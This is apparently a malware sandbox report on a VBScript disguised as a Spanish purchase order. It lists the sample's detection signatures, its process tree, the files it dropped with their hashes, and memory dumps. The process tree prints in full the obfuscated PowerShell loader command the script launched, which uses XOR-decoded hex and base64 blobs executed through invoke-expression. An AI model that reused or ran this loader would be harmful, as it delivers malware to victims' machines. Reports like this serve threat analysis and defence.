Analysis

  • max time kernel
    150s
  • max time network
    113s
  • platform
    windows11-ltsc_2024_x64
  • resource
    win11ltsc2024-20260709-en
  • resource tags

    arch:x64arch:x86image:win11ltsc2024-20260709-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
  • submitted
    20/08/2026, 07:56

General

  • Target
    Orden de Compra - PO00009769.vbs
  • Size 25KB
  • Sample260820-js2a6asdne
  • SHA256 33ee15088e5dd56eecd3de022d0e32a06b952aeec1d103b10f4ed352a1f4c5e2
  • MD5 SHA1 SHA512 SSDEEP TLSH
Score
8/10

Malware Config

Signatures

  • Badlisted process makes network request 4 IoCs

    Network request originating from process or tool commonly abused by malware.

  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • Executes a VBScript file via the Windows Script Host. 1 TTPs 1 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of WriteProcessMemory 3 IoCs

Processes

  • C:\Windows\System32\WScript.exe
    "C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Orden de Compra - PO00009769.vbs"
    1⤵
    • Executes a VBScript file via the Windows Script Host.
    • Suspicious use of WriteProcessMemory
    PID:3368
    • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" $j=85-11;$z1e94F='fA95Dp0vs';$ou8VbFwno='aa9efdfc9ab3f5b2f99388bbbb9df3e1f8b2f1deaaa4b589e3afada986bdcb8ba2eef29ca288fcfb87b4fd81e3f6bec7d9d6f4ddb9ad9f9fe1f680bdb287bbb59ff6c4b387b2878ab598e7fa83f4d9b3b7ba8ee1ebb3e0a09aaba386d1fe9dbface88ab899faf189f2beaff0b0cee8bbb1f7f8a4b6becff8e2c7f3e7d1d3c1e1c0eb8fa8eef18aa08ef6efcef7c9b9baa385f7eccee997d682828ee7b1bdbfe8aab0af8ec3f087b4ee91b8a28af4fa9c87a0e68aa988e6ed87aee38caba39ffcfc81b6bae1f997a5f6ebc089ffbfacbe82e7e6bea8f5a8b6af84ffcb97aaff81e3f6bfffecdfe897d6fdadd8a3a2c685f9fcfe94d9ddaebdebf68b8e8a93e6dca8bed884eab49fc7acbc99ff8da995a8c5fba183cf96ecaedaa6f58a8beeb4bb8d9fdcfd8280ee8ab5a0d3f1c9a8bcfc9abd82bcc5d9a782dcb4a3aebdd9c5889cfe8ebaa293a2cca990f0b88c8a92f5c7828fc3b1ae83a8a2f4a499f492b095d9ffc7b6bdf2e99aa1a1c4cedeaef38db7a0a9cbac96e3d9eda9bf8fffe79f83a98a9b95bce4d4bbb6f6a68c8a93e5f9af90ce8581f9d2c2c98990f889e0a5bdf8d2a1b9d2a4a18887aaa78c8cf6b6b88487c5fca994cab98faba2f7c98a80f8949f85b3fef7db8cdda8acaabed5c6ad8dab8c80a0b1d7db80becb84e8a88df5f2de8ac38ba1fda8ffa6d68caae9b18fd8a2ddb99bf6a88dfea1c4ce99efedb99f8da6f0f19682ccb29bf4b3d5e797b8edac9694d9ebdbbd92d8b68dbba1eafcdd9cc284ea829fc2f38289ff84b59588a0f3c58dcbb79299dae3ecaaeaafad9a8bdad0c8a880ee88b5f5c0f2cadf80f894e880bcc5d6a1bef6b793aabdd1e8889cf290bd8d8cd8de89e7a7fbf0c1e1d2fb8af7cea5a9a9cbbecb97aaff98bcaa82fdf69ab3f5b2f9e4b0c7fa96aeb499b7af84f7f680bdc7e6e399bfd5a7c09dffa88ab899faf189f2c19fb6a29df6ed9a87a0e69fbe84fedd8fa9ffeaed9f9fe1f680bdb2f8b8ffdbbab6c7d790baaca288e7f681b4bab8f1e88aa0aec7a1bebdeafed6ddfa99f7d5beb3a988e7bfa0bfeef28ea989d0f387bff4a8e2e4acf6ebc388fbb2bda386b3bb8fe9abfcf48f84e6f19afabebdeafdc5d0f09bb4eef5a5e990e7ed97a1e8b9adb999fdbfcabba9eef78884e4f182b5fbb89dad9ff2b7ca85b3a1baad9ff0f795a7e7a1d4c68de6f18daef3b3b7ec82bbbb8fe9b6f8b8f8c7b7fedbf6bebdeff1abbbb6c7a1bebdeef1b0c3f78fb4eeb3b48b8ae7fab3e0a090b6ad8fd2ec9dbff7beb5b5c3b7feddf3a1f8b8f4d6b7fed9f4ddb9ad9892e3fa9df2b3a0e6b7cfcc';$mpNNFqmk='HVIZDH1rBE5DEzkJETEBBBdbCDANWSwBBBsIdHEYLXRRDUxCGzANVT0NPnFDVXgJA2VMCk0IcX0CBHhLAmVKUnMfPTl6BgMBUiRZOkcUL3pgAEI5NkZRKnRwV0c7InVKMRJWY0EAB0lGCXVvZyUcNkZjUR4BGj1FWzVHVR5PVTxNRHAcS2pVYGANFHhGTFh9cncYCWdEEUxUbi5WI2NABFdDenofFHBLBkYOF3VUSWweQUIfHV0CFn5OAAsCUSRARHATTF4rORlmRHMUWGMOGzwzAzECMBMfYzNFQDoFTXxFEzM/F1RwI2VeYEBdLl5yN3V/ZVI1NXVgCWxzdSE7OHpOMHZKaXU0JiVwNnUTa0wAEFh9DkRzayU+LUdzAXZxXyw5A31/BHtgB0EvIkd3NhJRDjNFST0NTXxFEzM5UCh1NlRjZlItWF5jNEhsd3w5K1JkUXVlVCQgJlccMHdgZUw6JmFDNmF3elI6Jl19JB4bFD1FTDkNOkAGFEFcWUF2EmZzdVUDLFVnMGhiciw6I0ARLmV3XF8vMkN2M09RZlcuNkN2VFQbFD1FSRwvDEUOGzAOUixBRQdEAj1BAX9BTQdHByk3NHRdEQ1jXXcDBHhLAn4cCUE4JikLIkZSYGAeCX9CTQdEAT1FTXxEEUBOG0sPQDZnEkdJUScDXTYMRQgGG0sPQDZEMhtgcUYhNlR0NHBkRHBHBEAYWAQPEz9MSE5GRQRAREEqRzgMHi4sEzRIAiIFWAMObHdMR0AWCVBlci04MSJ8MHdgQ14qJSRsI3V0ekMHKURjJGVva1EEBERjHUdzAiUlOERNAwQPEy9MRHMWRR4GF3ZfTkJQB1BSQX0CBzkVSQMCUSdCLHRLAldOEzlMUSMMaCkCUiddQCwFTXxFEzMvFywYQgoGCBlmRHMRWAt5UDRLNnpvKXBwYXc/NmFyI3toZjNFQDoFTXxFEzM6DCRANmIbDjNFWxwvRQMGE31MSEpmCk1QVmYYPSsfI1FJXlYNE3QTUXBSQX0CBzkBKEJSUHwJE0oUOAoPEzAOVDENOkAGFEc5VUd2IEQbFD1MIDkBBxAKEzANUyAJRQQBHzREP3IFQkJwBncJC3lyQgoKEzwzAzECJlQbDjNFQD0FTXxFEzM9F1xrQgoPPh5MQDEFIkZSHkQeD3JAFlBaQHseFDFmNXYGHnAJE3JZFkZKVncYQDxDDFFVRzRZHHdRRW1HXnFAI0FwRV4rORlmQDEFRQMGEzRMQA==';$dp0DFRXg=0x80EC-0x39E9;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0xAA)};$r1Y3GfVj=$cUXA3FJ;$cUXA3FJ=@();foreach($c in [char[]]$z1e94F){$cUXA3FJ+=[byte]($c-bxor0x55)};$uXRGWv=$cUXA3FJ;$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$ou8VbFwno.Length;$j+=2){$cUXA3FJoldR+=[char](([Convert]::ToInt32($ou8VbFwno.Substring($j,2),16))-bxor$r1Y3GfVj[$i++%$r1Y3GfVj.Length])};$aCclkMoYZ=$cUXA3FJoldR;$cUXA3FJoldB=[Convert]::FromBase64String([regex]::Replace($mpNNFqmk, '$cUXA3FJ', ''));$cUXA3FJoldR='';$i=0;for($j=0;$j-lt$cUXA3FJoldB.Length;$j++){$cUXA3FJoldR+=[char]($cUXA3FJoldB[$j]-bxor$uXRGWv[$i++%$uXRGWv.Length])};$lx8aWkaJz=$cUXA3FJoldR;$bMRoUrgOv=$aCclkMoYZ+$lx8aWkaJz;.($env:ComSpec[4,26,25]-join'') $bMRoUrgOv
      2⤵
      • Badlisted process makes network request
      • Command and Scripting Interpreter: PowerShell
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of AdjustPrivilegeToken
      • Suspicious use of WriteProcessMemory
      PID:1544
      • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe
        "C:\Windows\Microsoft.NET\Framework64\v4.0.30319\csc.exe" /noconfig /fullpaths @"C:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.cmdline"
        3⤵
        • Suspicious use of WriteProcessMemory
        PID:1960
        • C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe
          C:\Windows\Microsoft.NET\Framework64\v4.0.30319\cvtres.exe /NOLOGO /READONLY /MACHINE:IX86 "/OUT:C:\Users\Admin\AppData\Local\Temp\RES60C4.tmp" "c:\Users\Admin\AppData\Local\Temp\zvtym5aj\CSCBF1A6789BC34971813A93D42EB6B3B8.TMP"
          4⤵
            PID:5160

    Network

          MITRE ATT&CK Enterprise v16

          Replay Monitor

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          Downloads

          RES60C4.tmp

          • Path C:\Users\Admin\AppData\Local\Temp\RES60C4.tmp
          • Size 1KB
          • SHA256 00f6da9ce4314a7f22048a2dff11278d71daeb48e8f291638cf469587f5c7433
          • MD5 SHA1 SHA512 TLSH

          zvtym5aj.dll

          • Path C:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.dll
          • Size 3KB
          • SHA256 05a54ae71b88a78575098d42257c1ac142918a004d22325cf406aedd477b6bd1
          • MD5 SHA1 SHA512 TLSH

          CSCBF1A6789BC34971813A93D42EB6B3B8.TMP

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zvtym5aj\CSCBF1A6789BC34971813A93D42EB6B3B8.TMP
          • Size 652B
          • SHA256 3ae2c87ef0a8c8371cf4efb1716d0fe930213e8e977061d6230de3e040e85961
          • MD5 SHA1 SHA512 TLSH

          zvtym5aj.0.cs

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.0.cs
          • Size 213B
          • SHA256 1a9e7f41d4b7e4ec3e7072acf6bf2a2e7ccb58d76658dfefcf17376712688491
          • MD5 SHA1 SHA512 TLSH

          zvtym5aj.cmdline

          • Path \??\c:\Users\Admin\AppData\Local\Temp\zvtym5aj\zvtym5aj.cmdline
          • Size 369B
          • SHA256 9094d9beb2cdce4bb40eda15aa2ba4094881e1838d7cad7533c0517a2292c880
          • MD5 SHA1 SHA512 TLSH

          memory/1544-8-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-16-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-9-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-10-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-12-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-11-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-13-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-14-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-15-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-0-0x00007FFCD4EDF000-0x00007FFCD4EE0000-memory.dmp

          memory/1544-17-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-7-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-4-0x000001CE76ED0000-0x000001CE76EF2000-memory.dmp

          memory/1544-6-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-5-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-30-0x000001CE5E950000-0x000001CE5E958000-memory.dmp

          memory/1544-1-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-32-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-33-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp

          memory/1544-35-0x00007FFCD4D50000-0x00007FFCD56F4000-memory.dmp